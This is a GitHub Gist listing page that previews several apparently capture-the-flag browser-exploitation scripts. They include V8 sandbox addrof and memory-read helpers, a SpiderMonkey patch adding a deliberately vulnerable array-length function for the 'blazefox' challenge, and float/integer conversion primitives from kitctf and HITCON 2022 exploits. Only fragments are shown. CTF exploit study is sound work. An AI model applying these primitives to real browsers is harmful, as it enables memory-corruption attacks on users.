Skip to content

Instantly share code, notes, and snippets.

@anvbis
anvbis / dataview_offset.js
Last active Jan 19, 2023
dataview_offset.js, wasm_mutable_globals.js
View dataview_offset.js
const addrof = o => {
return Sandbox.getAddressOf(o);
};
const weak_read = p => {
let reader = new Sandbox.MemoryView(p, 64);
let view = new DataView(reader);
return view.getBigUint64(0, true);
};
@anvbis
anvbis / blaze.diff
Last active Dec 27, 2022
blazefox-2022.js
View blaze.diff
diff --git a/js/src/builtin/Array.cpp b/js/src/builtin/Array.cpp
index 2b6d8953c523..fa60ef14f1ec 100644
--- a/js/src/builtin/Array.cpp
+++ b/js/src/builtin/Array.cpp
@@ -206,6 +206,20 @@ bool js::GetLengthProperty(JSContext* cx, HandleObject obj, uint64_t* lengthp) {
return ToLength(cx, value, lengthp);
}
+static MOZ_ALWAYS_INLINE bool BlazeSetLengthProperty(JSContext* cx,
+ HandleObject obj,
@anvbis
anvbis / kitctfctf-2022_date.1.js
Last active Dec 12, 2022
kitctfctf-2022_date.js
View kitctfctf-2022_date.1.js
let buf = new ArrayBuffer(8);
let f64 = new Float64Array(buf);
let i32 = new Uint32Array(buf);
let i64 = new BigUint64Array(buf);
const ftoi = x => {
f64[0] = x;
return i64[0];
};
@anvbis
anvbis / hitcon-ctf-2022_fourchain-hole.js
Last active Dec 12, 2022
hitcon-ctf-2022_fourchain-hole.js
View hitcon-ctf-2022_fourchain-hole.js
var buf = new ArrayBuffer(8);
var f64 = new Float64Array(buf);
var i64 = new BigUint64Array(buf);
const ftoi = x => {
f64[0] = x;
return i64[0];
};
const itof = x => {